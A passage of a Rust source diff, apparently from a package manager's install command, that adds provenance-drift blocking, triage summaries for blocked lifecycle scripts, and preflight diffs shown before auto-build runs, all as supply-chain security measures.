lpm_common::paths::LpmRoot::from_env()?; + let cache_root = lpm_root.cache_metadata_attestations(); + let http = reqwest::Client::new(); + + // (name, version, verdict, approved_version, approved_snapshot) + let mut drifted: Vec<( + String, + String, + lpm_security::provenance::DriftVerdict, + String, + Option, + )> = Vec::new(); + + for p in &packages { + let Some((approved_version, reference_binding)) = + trusted.provenance_reference_for_name(&p.name) + else { + continue; + }; + + // Per-package override: user explicitly waived this + // name. Emit a one-line advisory so the opt-out is + // visible in the install log, then skip the fetch + + // compare. + if drift_ignore_policy.ignores_name(&p.name) { + if !json_output { + output::warn(&format!( + "{}@{} — provenance-drift check waived by \ + --ignore-provenance-drift (approved reference: v{approved_version})", + p.name, p.version, + )); + } + continue; + } + let approved_snapshot = reference_binding.provenance_at_approval.as_ref(); + + // Extract the candidate version's attestation ref + // from the resolver's TTL cache (same pattern as the + // cooldown gate above). + let attestation_ref = if p.is_lpm { + lpm_common::PackageName::parse(&p.name) + .ok() + .and_then(|pkg_name| { + tokio::task::block_in_place(|| { + tokio::runtime::Handle::current() + .block_on(arc_client.get_package_metadata(&pkg_name)) + }) + .ok() + .and_then(|meta| { + meta.versions + .get(&p.version) + .and_then(|v| v.dist.as_ref()) + .and_then(|d| d.attestations.clone()) + }) + }) + } else { + tokio::task::block_in_place(|| { + tokio::runtime::Handle::current() + .block_on(arc_client.get_npm_package_metadata(&p.name)) + }) + .ok() + .and_then(|meta| { + meta.versions + .get(&p.version) + .and_then(|v| v.dist.as_ref()) + .and_then(|d| d.attestations.clone()) + }) + }; + + let now_snapshot = tokio::task::block_in_place(|| { + tokio::runtime::Handle::current().block_on( + crate::provenance_fetch::fetch_provenance_snapshot( + &http, + &cache_root, + &p.name, + &p.version, + attestation_ref.as_ref(), + ), + ) + }) + // Fetch errors propagate as LpmError (cache directory + // unwritable, etc.). Semantic degraded-fetch is already + // `Ok(None)` inside the fetcher and the comparator + // treats that as NoDrift. + ?; + + let verdict = lpm_security::provenance::check_provenance_drift( + approved_snapshot, + now_snapshot.as_ref(), + ); + + if !matches!(verdict, lpm_security::provenance::DriftVerdict::NoDrift) { + drifted.push(( + p.name.clone(), + p.version.clone(), + verdict, + approved_version.to_string(), + reference_binding.provenance_at_approval.clone(), + )); + } + } + + if !drifted.is_empty() { + // §7.3 UX. Chunk 4 extends the footer with the + // `--ignore-provenance-drift` override suggestion. + if !json_output { + output::warn(&format!( + "{} package(s) blocked by provenance drift:", + drifted.len(), + )); + for (name, version, verdict, approved_version, approved_snap) in &drifted { + let kind = match verdict { + lpm_security::provenance::DriftVerdict::ProvenanceDropped => { + "provenance dropped" + } + lpm_security::provenance::DriftVerdict::IdentityChanged => { + "publisher identity changed" + } + lpm_security::provenance::DriftVerdict::NoDrift => { + unreachable!("NoDrift is filtered out above") + } + }; + eprintln!(" {}@{} — {}", name, version, kind); + // UX: render `publisher / workflow_path` + // (the identity tuple) plus the approved + // release's `workflow_ref` as a trailing + // "(ref: ...)" hint. The ref is NOT part of + // identity equality (per the Finding 1 fix — + // it varies per release) but surfacing it + // here helps reviewers place the approval + // temporally: "v1.14.0 was signed at + // refs/tags/v1.14.0 via .../publish.yml". + let identity = approved_snap.as_ref().and_then(|s| { + match (s.publisher.as_deref(), s.workflow_path.as_deref()) { + (Some(pub_), Some(path)) => Some(format!("{pub_} / {path}")), + (Some(pub_), None) => Some(pub_.to_string()), + _ => None, + } + }); + let ref_hint = approved_snap + .as_ref() + .and_then(|s| s.workflow_ref.as_deref()) + .map(|r| format!(" (ref: {r})")) + .unwrap_or_default(); + match identity { + Some(ident) => eprintln!( + " last approved: v{approved_version} via {ident}{ref_hint}", + ), + None => eprintln!( + " last approved: v{approved_version} with attestation{ref_hint}", + ), + } + if matches!( + verdict, + lpm_security::provenance::DriftVerdict::ProvenanceDropped + ) { + eprintln!(" this version: (no provenance attestation)"); + } + } + eprintln!(); + eprintln!( + " This pattern was seen in the axios 1.14.1 compromise (March 2026).", + ); + // Phase 46 P4 Chunk 4: narrowest-to-broadest + // recovery paths. Prefer re-approval (captures + // the new identity and tightens the subsequent + // gate). Per-package override for single-case + // acknowledged migrations. Blanket override for + // users consciously suspending the entire check + // — listed last on purpose. + eprintln!( + " Recovery: re-approve via {}; or opt out with {} / {}.", + "lpm approve-builds".bold(), + "--ignore-provenance-drift ".bold(), + "--ignore-provenance-drift-all".bold(), + ); + } + return Err(LpmError::Registry(format!( + "{} package(s) blocked by provenance drift. Review the identity change and re-approve via `lpm approve-builds`, or opt out per-package via `--ignore-provenance-drift ` / blanket via `--ignore-provenance-drift-all`.", + drifted.len(), + ))); + } + } + } + let downloaded = to_download.len(); // Phase 38 P0: accumulate per-task timings across the parallel pool so we // can emit a proper fetch-stage breakdown in `lpm install --json`. Empty @@ -2037,34 +2343,94 @@ pub async fn run_with_options( .iter() .map(|p| (p.name.clone(), p.version.clone(), p.integrity.clone())) .collect(); - let blocked_capture = crate::build_state::capture_blocked_set_after_install( + // **Phase 46 P1 metadata plumbing:** enrich the captured + // blocked-set with `published_at` and `behavioral_tags_hash` per + // package, drawing from the registry metadata the resolver + // already fetched (5-min TTL cache). On fresh resolutions this is + // effectively free; on offline / fast-path paths we pass empty + // metadata and the fields stay `None` (graceful degradation). + let blocked_set_metadata = build_blocked_set_metadata(arc_client.as_ref(), &packages).await; + let blocked_capture = crate::build_state::capture_blocked_set_after_install_with_metadata( project_dir, &store, &installed_with_integrity, &policy, + &blocked_set_metadata, )?; + // Phase 46 P1: persist the current `trustedDependencies` as a + // snapshot so the NEXT install's diff (§4.2) has a baseline. Write + // failures are non-fatal — an install that reached this point has + // already succeeded as far as the user cares, and the worst-case + // of a missing snapshot is "the next install's diff notice + // doesn't fire," which degrades to the pre-46 behavior. + { + let snap = crate::trust_snapshot::TrustSnapshot::capture_current( + pkg.lpm + .as_ref() + .map(|l| &l.trusted_dependencies) + .unwrap_or(&lpm_workspace::TrustedDependencies::Legacy(Vec::new())), + ); + if let Err(e) = crate::trust_snapshot::write_snapshot(project_dir, &snap) { + tracing::warn!("failed to write trust-snapshot.json: {e}"); + } + } + // Show build hint for packages with lifecycle scripts (Phase 25: two-phase model). // Scripts are NEVER executed during install — use `lpm build` instead. // **Phase 32 Phase 4 M3:** the hint is now gated on the blocked-set // fingerprint changing — repeated installs of the same blocked set are silent. + // + // Phase 46 P2 Chunk 5: under `script-policy = "triage"`, the + // multi-line hint is replaced by a single summary line showing + // the per-tier blocked-set breakdown. `deny` and `allow` keep + // the existing multi-line hint unchanged. if !json_output && blocked_capture.should_emit_warning { if blocked_capture.all_clear_banner { output::success( "All previously-blocked packages have been approved. Run `lpm build` to execute their scripts.", ); } else { - let all_pkgs: Vec<(String, String)> = packages - .iter() - .map(|p| (p.name.clone(), p.version.clone())) - .collect(); - crate::commands::build::show_install_build_hint( - &store, - &all_pkgs, - &policy, - project_dir, + let script_policy_cfg = + crate::script_policy_config::ScriptPolicyConfig::from_package_json(project_dir); + let effective_policy = crate::script_policy_config::resolve_script_policy( + script_policy_override, + &script_policy_cfg, ); - output::info("Run `lpm approve-builds` to review and approve their lifecycle scripts."); + if effective_policy == crate::script_policy_config::ScriptPolicy::Triage { + println!(); + println!( + "{}", + crate::build_state::format_triage_summary_line( + &blocked_capture.state.blocked_packages + ) + ); + } else { + // Phase 46 P1: include integrity so the hint's strict gate + // matches what `build::run` will do. Previously we passed + // only (name, version) and the lenient name-only gate + // could show drifted rich bindings as trusted ✓. + let all_pkgs: Vec<(String, String, Option)> = packages + .iter() + .map(|p| (p.name.clone(), p.version.clone(), p.integrity.clone())) + .collect(); + crate::commands::build::show_install_build_hint( + &store, + &all_pkgs, + &policy, + project_dir, + ); + output::info( + "Run `lpm approve-builds` to review and approve their lifecycle scripts.", + ); + } + // Phase 46 P7: per-package terse version-diff hints for any + // blocked entry that has a prior-approved binding under the + // same package name. Surfaces drift visibility BEFORE the + // user enters approve-builds (where C3's TUI shows the + // fuller card). Stream-separation: stderr + json_output + // suppression both inside the helper. + maybe_emit_post_install_version_diff_hints(project_dir, &blocked_capture, json_output); } } @@ -2346,19 +2712,70 @@ pub async fn run_with_options( // Step 10: Auto-build trusted packages (after lockfile is written) // Triggers when: --auto-build flag, lpm.scripts.autoBuild config, or ALL scripted packages are trusted - let config_auto_build = read_auto_build_config(project_dir); - let all_pkgs_for_build: Vec<(String, String)> = packages + // + // Phase 46 P1: consolidated into ScriptPolicyConfig so all four + // script-related keys come from a single read. + // + // Phase 46 P6 Chunk 1: resolve the effective script-policy here and + // thread it into both the auto-build predicate and `build::run`. + // The value is not yet consulted by either callee (Chunks 2/3 wire + // the green-tier auto-trust through the shared helper); landing the + // plumbing first keeps that behavior diff small and reviewable. + let step10_script_policy_cfg = + crate::script_policy_config::ScriptPolicyConfig::from_package_json(project_dir); + let config_auto_build = step10_script_policy_cfg.auto_build; + let step10_effective_policy = crate::script_policy_config::resolve_script_policy( + script_policy_override, + &step10_script_policy_cfg, + ); + // Phase 46 P1: include integrity so the auto-build predicate's + // strict gate matches what `build::run` will do. A drifted rich + // binding previously satisfied this predicate via the lenient + // name-only gate and triggered auto-build for a package + // `build::run` then skipped. + let all_pkgs_for_build: Vec<(String, String, Option)> = packages .iter() - .map(|p| (p.name.clone(), p.version.clone())) + .map(|p| (p.name.clone(), p.version.clone(), p.integrity.clone())) .collect(); let all_trusted = crate::commands::build::all_scripted_packages_trusted( &store, &all_pkgs_for_build, &policy, project_dir, + step10_effective_policy, ); - if should_auto_build(auto_build, config_auto_build, all_trusted) + // Phase 46 P6 Chunk 4: trace whether the auto-build actually ran + // so the post-auto-build pointer below only fires when scripts + // had a chance to execute. Without this, a `script-policy = triage` + // install that falls through `should_auto_build` returning false + // (mixed amber without `autoBuild: true`) would print a "remain + // blocked after auto-build" pointer for a build that never started + // — honest-but-wrong UX. The pre-auto-build blocked-hint block + // upstream already surfaces the pre-auto-build state; the post- + // auto-build pointer is strictly a second notice AFTER scripts + // ran, for the specific case where greens completed but amber/red + // survive. + let auto_build_attempted = should_auto_build(auto_build, config_auto_build, all_trusted); + if auto_build_attempted { + // Phase 46 P7: preflight version-diff cards for any green + // about to auto-execute that has a prior-approved binding + // for a strictly-lesser version. Renders BEFORE `build::run` + // so the user sees the unified script-body diff and the + // behavioral-tag delta BEFORE any code runs — satisfies the + // §11 P7 ship criterion 1 ("the exact added line before any + // execution"). No-ops for non-triage policies and json mode + // (gates inside the helper). + maybe_emit_pre_autobuild_version_diff_cards( + project_dir, + &store, + auto_build_attempted, + step10_effective_policy, + &blocked_capture, + json_output, + ); + } + if auto_build_attempted && let Err(e) = crate::commands::build::run( project_dir, &[], // no specific packages — build all trusted @@ -2369,6 +2786,15 @@ pub async fn run_with_options( json_output, false, // not --unsafe-full-env false, // not --deny-all + // Phase 46 P5 Chunk 2: auto-build never bypasses the + // sandbox (no_sandbox=false) and never enters diagnostic + // mode (sandbox_log=false). If a user wants to opt out + // of containment, they need to run `lpm build` explicitly + // with the partner flag pair. Silent sandbox bypass + // during autoBuild would violate D20. + false, // no_sandbox + false, // sandbox_log + step10_effective_policy, ) .await && !json_output @@ -2376,6 +2802,32 @@ pub async fn run_with_options( output::warn(&format!("Auto-build failed: {e}")); } + // Phase 46 P6 Chunk 4: post-auto-build §5.3 canonical pointer. + // + // Under `script-policy = "triage"` the helper at build::run will + // have run greens (per Chunks 2+3 + the `should_auto_build` + // widening that `autoBuild: true` provides); amber / red blocked + // packages remain in `build-state.json`. The pre-auto-build + // triage summary line already fired upstream, but it is now + // stale — greens ran, so "N green / M amber / K red" is no + // longer the current state. The user needs a follow-up pointer + // that a) acknowledges the build happened, b) names the + // remaining amber+red count, c) routes to `lpm approve-builds`. + // + // JSON mode: per-entry `static_tier` enrichment below in the + // JSON output block gives agents the machine-readable shape; no + // extra line here. Non-JSON: one concise warn line. Neither + // changes exit semantics — install stays Ok, matching the §5.3 + // table's "0 (warning)" expectation across all three + // environments (see §5.3 rationale re: + // `install.rs:2361-2377`'s `warn`-wrapped auto-build contract). + maybe_emit_post_auto_build_triage_pointer( + auto_build_attempted, + step10_effective_policy, + &blocked_capture, + json_output, + ); + let elapsed = start.elapsed(); // **Phase 32 Phase 5** — persist `.lpm/overrides-state.json`. Three @@ -2574,21 +3026,23 @@ pub async fn run_with_options( json["blocked_set_changed"] = serde_json::json!(blocked_capture.should_emit_warning); json["blocked_set_fingerprint"] = serde_json::json!(blocked_capture.state.blocked_set_fingerprint); + // Phase 46 P6 Chunk 4 + P7 Chunk 4: per-entry shape now + // includes `static_tier` (P6) and `version_diff` (P7) via + // the shared `version_diff::blocked_to_json` helper, which + // is also the source of truth for the approve-builds JSON + // emitter. Both sides cannot drift on the entry shape. + // + // `version_diff` is `null` when no prior binding for the + // package name exists (first-time review). When a prior + // exists, the structured object is documented on + // `version_diff::version_diff_to_json`. + let trusted_for_json = read_trusted_deps_from_manifest(project_dir).unwrap_or_default(); json["blocked_packages"] = serde_json::Value::Array( blocked_capture .state .blocked_packages .iter() - .map(|bp| { - serde_json::json!({ - "name": bp.name, - "version": bp.version, - "integrity": bp.integrity, - "script_hash": bp.script_hash, - "phases_present": bp.phases_present, - "binding_drift": bp.binding_drift, - }) - }) + .map(|bp| crate::version_diff::blocked_to_json(bp, &trusted_for_json)) .collect(), ); println!("{}", serde_json::to_string_pretty(&json).unwrap()); @@ -2719,6 +3173,463 @@ fn should_auto_build(auto_build_flag: bool, config_auto_build: bool, all_trusted auto_build_flag || config_auto_build || all_trusted } +/// Phase 46 P6 Chunk 4 — decision half of the post-auto-build §5.3 +/// canonical pointer. Pure — returns the message string to emit, or +/// `None` when no pointer should fire. I/O lives in +/// [`maybe_emit_post_auto_build_triage_pointer`] below. +/// +/// Gates (all must be true for a Some): (a) auto-build was actually +/// attempted this run — a falsy predicate + `autoBuild: false` path +/// never triggered `build::run` and a pointer would misrepresent +/// what happened; (b) `effective_policy` is +/// [`crate::script_policy_config::ScriptPolicy::Triage`] — deny / +/// allow keep pre-P6 UX, with deny routing users through the +/// pre-auto-build blocked hint and allow running everything (no +/// blocked set in the canonical case); (c) `json_output` is false — +/// JSON mode's channel is the per-entry `static_tier` enrichment in +/// the `blocked_packages` array, so a stdout line would muddle that +/// contract for agents; (d) `amber + red` count in the pre-auto-build +/// capture is > 0 — if every blocked entry was green, the auto-build +/// path built them all and nothing remains to review. +/// +/// Counts come from the blocked set captured BEFORE auto-build ran. +/// Under autoBuild+triage, the predicate trusts green+strict+scope +/// entries, so the packages whose `.lpm-built` marker will NOT exist +/// after auto-build are exactly the amber + red tier entries. This +/// avoids a post-auto-build FS scan. +fn compute_post_auto_build_triage_pointer( + auto_build_attempted: bool, + effective_policy: crate::script_policy_config::ScriptPolicy, + blocked_capture: &crate::build_state::BlockedSetCapture, + json_output: bool, +) -> Option { + if !auto_build_attempted { + return None; + } + if effective_policy != crate::script_policy_config::ScriptPolicy::Triage { + return None; + } + if json_output { + return None; + } + let (_green, amber, red) = + crate::build_state::count_blocked_by_tier(&blocked_capture.state.blocked_packages); + let remaining = amber + red; + if remaining == 0 { + return None; + } + Some(format!( + "{remaining} package(s) remain blocked after auto-build \ + ({amber} amber, {red} red). Run `lpm approve-builds` to review." + )) +} + +/// Phase 46 P6 Chunk 4 — I/O half. See +/// [`compute_post_auto_build_triage_pointer`] for the decision +/// contract. +fn maybe_emit_post_auto_build_triage_pointer( + auto_build_attempted: bool, + effective_policy: crate::script_policy_config::ScriptPolicy, + blocked_capture: &crate::build_state::BlockedSetCapture, + json_output: bool, +) { + if let Some(msg) = compute_post_auto_build_triage_pointer( + auto_build_attempted, + effective_policy, + blocked_capture, + json_output, + ) { + output::warn(&msg); + } +} + +/// **Phase 46 P7 — pure.** Compute per-package terse version-diff +/// hints for the post-install blocked-set warning. +/// +/// Iterates `blocked_capture.state.blocked_packages`; for each entry +/// whose prior-approved binding exists under the same package name +/// (via [`lpm_workspace::TrustedDependencies::latest_binding_for_name`]), +/// computes the diff and renders a terse one-liner. Skips entries +/// with no prior binding (first-time review — nothing to diff +/// against) and entries whose reason is +/// [`crate::version_diff::VersionDiffReason::NoChange`]. +/// +/// Pure: no I/O. Returned `Vec` lines are ready for a +/// stderr emitter. Entries are in `blocked_packages` order +/// (already sorted by `(name, version)` — see +/// [`crate::build_state::compute_blocked_packages_with_metadata`]). +fn compute_post_install_version_diff_hints( + blocked_capture: &crate::build_state::BlockedSetCapture, + trusted: &lpm_workspace::TrustedDependencies, +) -> Vec { + let mut hints = Vec::new(); + for bp in &blocked_capture.state.blocked_packages { + let Some((prior_version, binding)) = trusted.latest_binding_for_name(&bp.name, &bp.version) + else { + continue; + }; + let diff = crate::version_diff::compute_version_diff(prior_version, binding, bp); + if let Some(line) = crate::version_diff::render_terse_hint(&diff, &bp.name) { + hints.push(line); + } + } + hints +} + +/// **Phase 46 P7 — I/O half.** Emit the per-package version-diff +/// hints from [`compute_post_install_version_diff_hints`] to stderr +/// beneath the existing post-install blocked-set warning. +/// +/// Suppressed under `json_output=true` (C4 will enrich the JSON +/// shape with a structured `version_diff` object per entry; the +/// human lines on stdout would break `JSON.parse` on the machine +/// channel — same stream-separation discipline as P6 Chunk 5). +/// +/// Reads `trustedDependencies` from `/package.json`. +/// Fails gracefully on I/O / parse error: the diff hints are a +/// UX enrichment, not a gate, so a missing or malformed manifest +/// just suppresses them rather than failing the install. +fn maybe_emit_post_install_version_diff_hints( + project_dir: &Path, + blocked_capture: &crate::build_state::BlockedSetCapture, + json_output: bool, +) { + if json_output { + return; + } + if blocked_capture.state.blocked_packages.is_empty() { + return; + } + let Some(trusted) = read_trusted_deps_from_manifest(project_dir) else { + return; + }; + let hints = compute_post_install_version_diff_hints(blocked_capture, &trusted); + if hints.is_empty() { + return; + } + // Stream-separation: stderr for human output. Matches the P6 + // Chunk 5 fix (`eprintln!`) so `--json` consumers never see the + // hints interleaved with machine output. + eprintln!(); + eprintln!(" Changes since prior approval:"); + for line in &hints { + eprintln!("{line}"); + } +} + +/// **Phase 46 P7 — I/O, pre-auto-build hook.** For greens about to +/// auto-execute under `script-policy = "triage"` + `autoBuild: true`, +/// emit a unified-diff preflight card before any script runs. +/// +/// Gates (all must be true): +/// - `auto_build_attempted`: the auto-build path is actually running +/// (if `build::run` isn't about to fire, a preflight is premature). +/// - `effective_policy` is +/// [`crate::script_policy_config::ScriptPolicy::Triage`]: +/// under `deny` nothing auto-executes, under `allow` every +/// scripted package runs (the "manual install then `lpm build`" +/// flow that C3's TUI covers more fully). +/// - `!json_output`: human cards on stdout would corrupt the JSON +/// channel. Machine output routes through C4's `version_diff` +/// object in the blocked-set JSON. +/// +/// Iterates `blocked_capture.state.blocked_packages` and renders a +/// preflight card for each entry that (a) classifies as `Green` tier +/// (under triage+autoBuild, greens are what `build::run` auto- +/// promotes and executes per P6), and (b) has a prior binding for a +/// strictly-lesser version via `latest_binding_for_name`. Under (a) +/// the script will auto-execute imminently; under (b) there's +/// something to diff against. +/// +/// Reads store bodies for both sides via +/// [`crate::build_state::read_install_phase_bodies`]; the prior +/// side gracefully degrades to "(prior not in store)" when the +/// cache has been cleaned or the extractor hasn't populated +/// `/{name}@{prior}/`. +fn maybe_emit_pre_autobuild_version_diff_cards( + project_dir: &Path, + store: &lpm_store::PackageStore, + auto_build_attempted: bool, + effective_policy: crate::script_policy_config::ScriptPolicy, + blocked_capture: &crate::build_state::BlockedSetCapture, + json_output: bool, +) { + if !auto_build_attempted { + return; + } + if effective_policy != crate::script_policy_config::ScriptPolicy::Triage { + return; + } + if json_output { + return; + } + let Some(trusted) = read_trusted_deps_from_manifest(project_dir) else { + return; + }; + + let mut cards: Vec = Vec::new(); + for bp in &blocked_capture.state.blocked_packages { + // Only greens auto-execute under triage+autoBuild per P6; the + // preflight card is scoped to that execution path because + // amber/red will route through approve-builds (C3) where the + // full card renders anyway. Entries with `static_tier = None` + // are treated as non-green (same conservative bias as the + // P2 `--yes` refusal gate: unknown tier → don't claim the + // auto-execute path). + if !matches!( + bp.static_tier, + Some(lpm_security::triage::StaticTier::Green) + ) { + continue; + } + let Some((prior_version, binding)) = trusted.latest_binding_for_name(&bp.name, &bp.version) + else { + continue; + }; + let diff = crate::version_diff::compute_version_diff(prior_version, binding, bp); + if !diff.is_drift() { + continue; + } + + let candidate_pkg_dir = store.package_dir(&bp.name, &bp.version); + let prior_pkg_dir = store.package_dir(&bp.name, prior_version); + let candidate_bodies = crate::version_diff::phase_bodies_from_pairs( + crate::build_state::read_install_phase_bodies(&candidate_pkg_dir), + ); + let prior_pairs = crate::build_state::read_install_phase_bodies(&prior_pkg_dir); + let prior_bodies = if prior_pairs.is_empty() { + // Empty-vec result collapses two real cases: (a) prior + // store dir missing entirely (cache clean / fresh clone), + // and (b) prior version had no scripts. Case (b) still + // wouldn't produce script-hash drift because the hash + // would be None on that side; we only reach this emitter + // when `diff.is_drift()` is true, so an empty prior here + // is effectively "prior not in store." Degrade to None + // so the renderer uses its "prior not in store" note. + None + } else { + Some(crate::version_diff::phase_bodies_from_pairs(prior_pairs)) + }; + let candidate_bodies_opt = if candidate_bodies.is_empty() { + None + } else { + Some(candidate_bodies) + }; + + if let Some(card) = crate::version_diff::render_preflight_card( + &diff, + &bp.name, + prior_bodies.as_ref(), + candidate_bodies_opt.as_ref(), + ) { + cards.push(card); + } + } + + if cards.is_empty() { + return; + } + // Stream-separation: stderr (same discipline as the post-install + // hints). The "PREFLIGHT" tag makes the block grep-able and + // distinguishes it from the post-install warning above. + eprintln!(); + eprintln!(" PREFLIGHT — auto-build will execute the following green-tier scripts:"); + for card in &cards { + eprintln!(); + eprintln!("{card}"); + } + eprintln!(); +} + +/// **Phase 46 P7 support.** Read `trustedDependencies` from the +/// project manifest without failing the install on malformed input. +/// +/// Returns `None` on any failure (missing file, unreadable, +/// malformed JSON, absent key). Callers treat `None` as "no prior +/// approvals to diff against" — the P7 enrichment is UX, not a +/// gate, so the install pipeline must be tolerant. +/// +/// Reuses the same parsing shape the `approve_builds` command uses +/// so a drifted or upgraded manifest still yields the same view. +fn read_trusted_deps_from_manifest( + project_dir: &Path, +) -> Option { + let pkg_json_path = project_dir.join("package.json"); + let content = std::fs::read_to_string(&pkg_json_path).ok()?; + let manifest: serde_json::Value = serde_json::from_str(&content).ok()?; + // `trustedDependencies` sits under `lpm.trustedDependencies` per + // the manifest schema; also accept it at the top level for + // leniency against older package.json shapes the test suite + // fixtures might use. + let raw = manifest + .get("lpm") + .and_then(|lpm| lpm.get("trustedDependencies")) + .or_else(|| manifest.get("trustedDependencies"))?; + serde_json::from_value::(raw.clone()).ok() +} + +/// **Phase 46 P1 metadata plumbing** — build the metadata map that +/// enriches [`crate::build_state::BlockedPackage`] entries with +/// `published_at` (RFC 3339) and `behavioral_tags_hash` (SHA-256 over +/// the sorted set of active behavioral tags). +/// +/// Fetches registry metadata via the existing client API which is +/// backed by a 5-min TTL cache. On fresh resolutions the resolver +/// already populated that cache, so this is a memory-local lookup. +/// On offline installs or registry-unreachable installs, fetches +/// return `Err`; we silently drop those packages from the map and +/// the captured fields stay `None` — documented graceful +/// degradation (see [`crate::build_state::BlockedSetMetadata`]). +/// +/// Never returns an error: metadata enrichment is best-effort and +/// must not fail an otherwise-successful install. Any fetch error +/// is recorded as "no entry for this package" and the install +/// proceeds. +async fn build_blocked_set_metadata( + client: &lpm_registry::RegistryClient, + packages: &[InstallPackage], +) -> crate::build_state::BlockedSetMetadata { + let mut out = crate::build_state::BlockedSetMetadata::default(); + + // Phase 46 P4 Chunk 3 — provenance capture for EVERY package (not + // just drift-triggered ones) so `lpm approve-builds` can forward + // the snapshot into `TrustedDependencyBinding.provenance_at_approval` + // on approval. This closes the reviewer-flagged producer-side gap + // where `provenance_at_capture` was hardcoded `None` at + // `build_state.rs:432`, leaving non-drifting packages with no + // approval-time reference for subsequent drift checks. + // + // The fetcher is cache-first (7-day TTL) and cheap on repeat + // installs. Cache root + HTTP client built here with graceful + // degradation: if `LpmRoot::from_env()` fails, the whole + // provenance-capture step degrades to `None` for every package + // (keeping the "never returns an error" contract for this + // function) but the install itself still succeeds. + let provenance_ctx = lpm_common::paths::LpmRoot::from_env() + .ok() + .map(|root| (reqwest::Client::new(), root.cache_metadata_attestations())); + let provenance_ctx_ref = provenance_ctx.as_ref(); + + // Run every package's metadata + provenance fetches CONCURRENTLY. + // + // The pre-fix version was a `for p in packages` loop that `.await`ed + // metadata + provenance serially per package. Even with the resolver's + // 5-min TTL metadata cache + the 7-day attestation cache both warm, 277 + // sequential awaits burned ~830ms of unaccounted-for wall-clock on a + // medium-large install (measured during the 46.0 A/B cross-binary + // validation on 2026-04-23). `fetch_provenance_snapshot` still does + // conditional network I/O on first install (cache miss with an + // attestation URL present), so fanning out is a strict win. + let entry_futures = packages.iter().map(|p| async move { + // Grab the full PackageMetadata so we can read the top-level + // `time[version]` (for `published_at`), the + // `versions[version]._behavioralTags` substructure (for + // `behavioral_tags_hash`), AND `dist.attestations` (for the + // P4 provenance capture below) in one fetch. Errors are + // swallowed per the graceful-degradation contract above. + let meta = if p.is_lpm { + match lpm_common::PackageName::parse(&p.name) { + Ok(pkg_name) => client.get_package_metadata(&pkg_name).await.ok(), + Err(_) => None, + } + } else { + client.get_npm_package_metadata(&p.name).await.ok() + }; + + let meta = meta?; + + let published_at = meta.time.get(&p.version).cloned(); + + // Extract behavioral tags if present and hash them into the + // canonical form. `active_tag_names` returns sorted canonical + // names; `hash_behavioral_tag_set` hashes them deterministically. + // + // Phase 46 P7: also persist the raw name set alongside the hash. + // The hash gives the version-diff fast equality / fingerprint; + // the names enable rendering the *delta* (`gained network, eval`) + // without a registry re-fetch — required by §11 P7 ship + // criterion 2 and lets the diff work offline. Both are computed + // from the same `active_tag_names()` call so they cannot drift. + let (behavioral_tags_hash, behavioral_tags) = meta + .versions + .get(&p.version) + .and_then(|v| v.behavioral_tags.as_ref()) + .map(|tags| { + let names = tags.active_tag_names(); + let hash = lpm_security::triage::hash_behavioral_tag_set(&names); + let owned: Vec = names.iter().map(|s| s.to_string()).collect(); + (Some(hash), Some(owned)) + }) + .unwrap_or((None, None)); + + // Phase 46 P4 Chunk 3: capture the provenance snapshot. The + // fetcher returns: + // - `Some(present: true, ...)` when an attestation was fetched + // and the cert SAN extracted. + // - `Some(present: false, ...)` when the registry confirms no + // attestation for this version (fetcher's no-URL shortcut + // — no network call). + // - `None` on degraded fetch (network error, malformed + // bundle). We store `None` as the captured field so + // approve-builds correctly records "we couldn't determine + // the identity at approval time" — the drift rule treats + // this as "pass, don't drift" on subsequent installs. + let attestation_ref = meta + .versions + .get(&p.version) + .and_then(|v| v.dist.as_ref()) + .and_then(|d| d.attestations.clone()); + let provenance_at_capture = match provenance_ctx_ref { + Some((http, cache_root)) => crate::provenance_fetch::fetch_provenance_snapshot( + http, + cache_root, + &p.name, + &p.version, + attestation_ref.as_ref(), + ) + .await + .ok() + .flatten(), + None => None, // Degraded: no cache root available. + }; + + // Only materialize an entry if at least ONE field is populated + // — empty entries just waste map memory. Callers get `None` for + // absent keys either way. + if published_at.is_some() + || behavioral_tags_hash.is_some() + || provenance_at_capture.is_some() + { + Some(( + p.name.clone(), + p.version.clone(), + crate::build_state::BlockedSetMetadataEntry { + published_at, + behavioral_tags_hash, + behavioral_tags, + provenance_at_capture, + }, + )) + } else { + None + } + }); + + // Sequential insert into `out` after the concurrent fetches land. + // Order is deterministic because `join_all` preserves the input order + // and the downstream `BlockedSetMetadata` is keyed by (name, version) + // — identical output to the serial loop. + for (name, version, e) in futures::future::join_all(entry_futures) + .await + .into_iter() + .flatten() + { + out.insert(name, version, e); + } + + out +} + // Phase 34.1: is_install_up_to_date() moved to crate::install_state::check_install_state() /// Try to use the lockfile as a fast path. @@ -3117,6 +4028,12 @@ async fn run_link_and_finish( linker_mode: lpm_linker::LinkerMode, force: bool, workspace_member_deps: &[WorkspaceMemberLink], + // Phase 46 P2 Chunk 5: same CLI-side policy override as + // [`run_with_options`]. Reached via the lockfile fast path when + // `run_with_options` short-circuits resolution; both paths must + // render the same triage summary line when the effective policy + // is `triage`. + script_policy_override: Option, ) -> Result<(), LpmError> { let store = PackageStore::default_location()?; @@ -3198,23 +4115,68 @@ async fn run_link_and_finish( &policy, )?; + // Phase 46 P1: snapshot write on the fast path too — a warm + // install that only changed `trustedDependencies` (not deps) + // would otherwise skip the update and leave the next install + // comparing against stale state. Non-fatal on failure. + { + let snap = crate::trust_snapshot::TrustSnapshot::capture_current( + pkg.lpm + .as_ref() + .map(|l| &l.trusted_dependencies) + .unwrap_or(&lpm_workspace::TrustedDependencies::Legacy(Vec::new())), + ); + if let Err(e) = crate::trust_snapshot::write_snapshot(project_dir, &snap) { + tracing::warn!("failed to write trust-snapshot.json: {e}"); + } + } + + // Phase 46 P2 Chunk 5: mirrors the `run_with_options` + // branching — under triage, emit the single-line summary; + // under deny/allow, show the legacy multi-line hint. if !json_output && blocked_capture.should_emit_warning { if blocked_capture.all_clear_banner { output::success( "All previously-blocked packages have been approved. Run `lpm build` to execute their scripts.", ); } else { - let all_pkgs: Vec<(String, String)> = packages - .iter() - .map(|p| (p.name.clone(), p.version.clone())) - .collect(); - crate::commands::build::show_install_build_hint( - &store, - &all_pkgs, - &policy, - project_dir, + let script_policy_cfg = + crate::script_policy_config::ScriptPolicyConfig::from_package_json(project_dir); + let effective_policy = crate::script_policy_config::resolve_script_policy( + script_policy_override, + &script_policy_cfg, ); - output::info("Run `lpm approve-builds` to review and approve their lifecycle scripts."); + if effective_policy == crate::script_policy_config::ScriptPolicy::Triage { + println!(); + println!( + "{}", + crate::build_state::format_triage_summary_line( + &blocked_capture.state.blocked_packages + ) + ); + } else { + // Phase 46 P1: include integrity so the hint's strict gate + // matches what `build::run` will 